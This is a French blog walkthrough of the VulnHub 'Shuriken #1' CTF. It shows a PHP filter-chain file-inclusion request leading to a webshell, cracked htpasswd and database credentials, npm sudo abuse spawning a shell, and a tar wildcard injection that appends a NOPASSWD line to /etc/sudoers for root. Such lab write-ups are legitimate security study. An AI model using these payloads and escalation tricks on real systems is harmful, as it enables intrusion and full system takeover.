Accueil Solution du CTF Shuriken #1 de VulnHub
Post
Annuler

Solution du CTF Shuriken #1 de VulnHub

Après avoir solutionné Shuriken: Node je me suis penché sur le premier de la série.

1
2
3
4
5
6
7
8
Nmap scan report for 192.168.56.56
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE    SERVICE    VERSION
80/tcp   open     http       Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Shuriken
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp filtered http-proxy

On trouve donc un seul port accessible qui correspond à un serveur web Apache. Le site web présent dessus est celui de la Shuriken Company. Il n’y a rien de notable, on trouve uniquement un formulaire de connexion à /login.html.

La cible de ce formulaire étant la même page HTML, il est peut probable qu’un réel traitement soit opéré sur les données.

Make JS useful

Une énumération des fichiers et dossiers présents à la racine du site permet de trouver une image secret.png présente dans un dossier baptisé secret lui aussi.

L’image représente le logo de Java avec écrit JavaScript en dessous comme quoi les incompréhensions sur des supposés liens entre les deux langages peuvent durer longtemps :p

Quoi qu’il en soit, c’est un indice pour nous indiquer de nous intéresser aux fichiers JS sur le site. Deux sont chargés par la page d’index et on les trouve d’ailleurs dans le dossier /js qui est listable

Les codes ressemblent à du JS compilé / compressé bref absolument illisible mais non obfusqué. On peut tout de même voir un nom d’hôte qui semble être utilisé pour une API de chat :

1
return "".concat(void 0 === e ? "http://broadcast.shuriken.local" : e).concat("/", "?_alias=").concat(n, "&_callbackAlias=").concat(l, "&_lang=").concat(c)

Après ajout d’une entrée dans /etc/hosts on remarque que l’accès requiert une authentification HTTP basic. Passons à autre chose.

L’autre fichier JS fait référence au nom d’hôte principal avec une URL disposant d’un paramètre referer :

http://shuriken.local/index.php?referer=

J’ai cherché de possibles autres sous-domaines à l’aide de ffuf :

1
ffuf -w fuzzdb/discovery/dns/alexaTop1mAXFRcommonSubdomains.txt -u http://192.168.56.56/ -H "Host: FUZZ.shuriken.local" -fs 6021

Mais cela ne m’a remonté que broadcast que je connais déjà.

J’ai lancé Wapiti sur l’URL avec la commande suivante :

1
wapiti -u 'http://shuriken.local/index.php?referer=toto' --scope url -v2

et il a aussitôt trouvé une faille d’inclusion :

1
2
3
4
5
6
7
8
9
10
11
---
PHP local inclusion leading to code execution in http://shuriken.local/index.php via injection in the parameter referer
Evil request:
    GET /index.php?referer=php%3A%2F%2Ffilter%2Fconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP866.CSUNICODE%7Cconvert.iconv.CSISOLATIN5.ISO_6937-2%7Cconvert.iconv.CP950.UTF-16BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.865.UTF16%7Cconvert.iconv.CP901.ISO6937%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM1161.IBM-932%7Cconvert.iconv.MS932.MS936%7Cconvert.iconv.BIG5.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM921.NAPLPS%7Cconvert.iconv.855.CP936%7Cconvert.iconv.IBM-932.UTF-8%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.IBM869.UTF16%7Cconvert.iconv.L3.CSISO90%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.L6.UNICODE%7Cconvert.iconv.CP1282.ISO-IR-90%7Cconvert.iconv.CSA_T500.L4%7Cconvert.iconv.ISO_8859-2.ISO-IR-103%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.863.UTF-16%7Cconvert.iconv.ISO6937.UTF16LE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.DEC.UTF-16%7Cconvert.iconv.ISO8859-9.ISO_6937-2%7Cconvert.iconv.UTF16.GB13000%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.JS.UNICODE%7Cconvert.iconv.L4.UCS2%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.863.UTF-16%7Cconvert.iconv.ISO6937.UTF16LE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP1162.UTF32%7Cconvert.iconv.L4.T.61%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.JS.UNICODE%7Cconvert.iconv.L4.UCS2%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.IBM869.UTF16%7Cconvert.iconv.L3.CSISO90%7Cconvert.iconv.R9.ISO6937%7Cconvert.iconv.OSF00010100.UHC%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.863.UTF-16%7Cconvert.iconv.ISO6937.UTF16LE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP-AR.UTF16%7Cconvert.iconv.8859_4.BIG5HKSCS%7Cconvert.iconv.MSCP1361.UTF-32LE%7Cconvert.iconv.IBM932.UCS-2BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP-AR.UTF16%7Cconvert.iconv.8859_4.BIG5HKSCS%7Cconvert.iconv.MSCP1361.UTF-32LE%7Cconvert.iconv.IBM932.UCS-2BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.L6.UNICODE%7Cconvert.iconv.CP1282.ISO-IR-90%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM1161.IBM-932%7Cconvert.iconv.BIG5HKSCS.UTF16%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM921.NAPLPS%7Cconvert.iconv.855.CP936%7Cconvert.iconv.IBM-932.UTF-8%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.8859_3.UTF16%7Cconvert.iconv.863.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP1046.UTF16%7Cconvert.iconv.ISO6937.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP1046.UTF32%7Cconvert.iconv.L6.UCS-2%7Cconvert.iconv.UTF-16LE.T.61-8BIT%7Cconvert.iconv.865.UCS-4LE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.MAC.UTF16%7Cconvert.iconv.L8.UTF16BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CSIBM1161.UNICODE%7Cconvert.iconv.ISO-IR-156.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.iconv.IBM932.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM1161.IBM-932%7Cconvert.iconv.MS932.MS936%7Cconvert.iconv.BIG5.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.base64-decode%2Fresource%3Dphp%3A%2F%2Ftemp HTTP/1.1
    host: shuriken.local
    connection: keep-alive
    user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
    accept-language: en-US
    accept-encoding: gzip, deflate, br
    accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
---

Le payload correspond à la technique que j’ai décrit pour le CTF Corrosion et que j’ai depuis ajouté dans Wapiti.

Si je j’inecte le payload suivant encodé avec php_filter_chain_generator :

1
<?php system("sleep 10");?>

J’obtiens bien un délais d’attente qui prouve que l’exécution de commande est fonctionnelle. En revanche je n’ai pas eu d’output si je tentais d’appeller readfile ou phpinfo. Au mieux j’obtenais des caractères étranges dans la page.

Le payload doit être court sinon le serveur répond par une erreur 414 Request-URI Too Long.

Un simple system($_GET["c"]); est suffisant pour obtenir notre webshell qui nous fait attérir dans /var/www/main/.

On voit dans ce dossier que le script vulnérable faisait un peu de ménage dans les données reçues mais plusieurs payloads présents dans Wapiti auraient permis de voir la vulnérabilité (juste passer /etc/passwd suffit) :

1
2
3
4
5
<?php
$file = $_GET['referer'];
$filter = str_replace('../','',$file);
include($filter);
?>

Dans les process je remarque qu’un utilisateur server-management fait tourner nodejs, probablement sur le port filtré :

1
server-+   730  0.2  2.5 612356 25972 ?        Ssl  Nov14   2:25 node /home/server-management/Shuriken/server.js

Comme on n’est pas root on ne peut pas obtenir la liste des processus qui écoute sur chacun des ports, mais on peut valider l’hypothèse en regardant les sites activés pour Apache :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        ServerName shuriken.local
        DocumentRoot /var/www/main
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        <Directory /var/www/main>
                Order allow,deny
                allow from all
        </Directory>
</VirtualHost>

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        ServerName broadcast.shuriken.local
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        <Directory /var/www/html>
                Order allow,deny
                allow from all
                AuthType Basic
                AuthName "Restricted Content"
                AuthUserFile /etc/apache2/.htpasswd
                Require valid-user
        </Directory>
</VirtualHost>

On peut désormais accèder au site broadcast si on casse le hash présent dans le fichier htpasswd cité :

1
developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0
1
2
3
4
5
6
7
8
9
10
11
$ ./john --wordlist=wordlists/rockyou.txt /tmp/hashes.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
9972761drmfsls   (developers)     
1g 0:00:00:23 DONE (2022-11-15 13:55) 0.04310g/s 93153p/s 93153c/s 93153C/s 9981953..996851
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Le site fait tourner ClipBucket v4.0. Vu que ce site tourne avec Apache (et donc www-data) je ne voit pas d’intérêt d’exploiter le site.

Je récupère tout de même les identifiants de base de données dans includes/dbconnect.php :

1
2
3
4
5
6
7
8
9
$BDTYPE = 'mysql';
//Database Host
$DBHOST = 'localhost';
//Database Name
$DBNAME = 'shuriken';
//Database Username
$DBUSER = 'admin';
//Database Password
$DBPASS = '5]ZAF776kBu]@$c&';

Aucun des deux mots de passe (celui du MySQL et celui du htpasswd) ne sont utilisables pour server-management et root.

Get the f**k out

Une recherche plus généraliste permet de découvrir que www-data peut exécuter npm avec les droits de server-management :

1
2
3
4
5
6
www-data@shuriken:/tmp$ sudo -l
Matching Defaults entries for www-data on shuriken:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on shuriken:
    (server-management) NOPASSWD: /usr/bin/npm

L’une des entrées de GTFObins s’applique à npm :

1
2
3
4
5
6
7
8
9
10
www-data@shuriken:/tmp$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > ^CF/package.json
www-data@shuriken:/tmp$ mkdir yolo
www-data@shuriken:/tmp$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > yolo/package.json
www-data@shuriken:/tmp$ sudo -u server-management /usr/bin/npm -C yolo i

> @ preinstall /tmp/yolo
> /bin/sh

$ id
uid=1000(server-management) gid=1000(server-management) groups=1000(server-management),24(cdrom),30(dip),46(plugdev),116(lpadmin),122(sambashare)

On peut alors récupérer notre premier flag : 67528b07b382dfaa490f4dffc57dcdc0

Il y a une tache crontab qui effectue une sauvegarde des fichiers de server-management :

1
2
3
4
5
6
7
8
9
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/2   * * * *   root    /var/opt/backupsrv.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

Voici le code du script bash :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash

# Where to backup to.
dest="/var/backups"

# What to backup. 
cd /home/server-management/Documents
backup_files="*"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"
date

# Long listing of files in $dest to check file sizes.
ls -lh $dest

Shine like a star

On est dans un cas d’exploitation similaire au CTF Pipe où l’on va pouvoir exploiter utilisation du wildcard dans la commande tar. Je recommande la lecture de l’article Dangers of wildcards in bash pour plus de détails.

Pour cela je crée un script bash qui va rajouter une ligne au /etc/sudoers puis des fichiers vides nommés après des options de tar qui seront pris comme tels à cause du wildcard :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ echo '#!/bin/bash\necho "server-management ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers' > evil.sh
$ touch -- "--checkpoint=1"
$ touch -- "--checkpoint-action=exec=sh evil.sh" 
$ chmod 755 evil.sh
$ touch a
--- snip sleep 2 minutes here snip ---
$ sudo su
root@shuriken:/home/server-management/Documents# id
uid=0(root) gid=0(root) groups=0(root)
root@shuriken:/home/server-management/Documents# cd /root
root@shuriken:~# cat root.txt

d0f9655a4454ac54e3002265d40b2edd
                                          __                   
  ____  ____   ____    ________________ _/  |_  ______         
_/ ___\/  _ \ /    \  / ___\_  __ \__  \\   __\/  ___/         
\  \__(  <_> )   |  \/ /_/  >  | \// __ \|  |  \___ \          
 \___  >____/|___|  /\___  /|__|  (____  /__| /____  >         
     \/           \//_____/            \/          \/          
                                            __             .___
 ___.__. ____  __ __  _______  ____   _____/  |_  ____   __| _/
<   |  |/  _ \|  |  \ \_  __ \/  _ \ /  _ \   __\/ __ \ / __ | 
 \___  (  <_> )  |  /  |  | \(  <_> |  <_> )  | \  ___// /_/ | 
 / ____|\____/|____/   |__|   \____/ \____/|__|  \___  >____ | 
 \/                                                  \/     \/ 
  _________.__                 .__ __                          
 /   _____/|  |__  __ _________|__|  | __ ____   ____          
 \_____  \ |  |  \|  |  \_  __ \  |  |/ // __ \ /    \         
 /        \|   Y  \  |  /|  | \/  |    <\  ___/|   |  \        
/_______  /|___|  /____/ |__|  |__|__|_ \\___  >___|  /        
        \/      \/                     \/    \/     \/

Un CTF bien conçu, merci à son auteur :)

Publié le 15 novembre 2022

Cet article est sous licence CC BY 4.0 par l'auteur.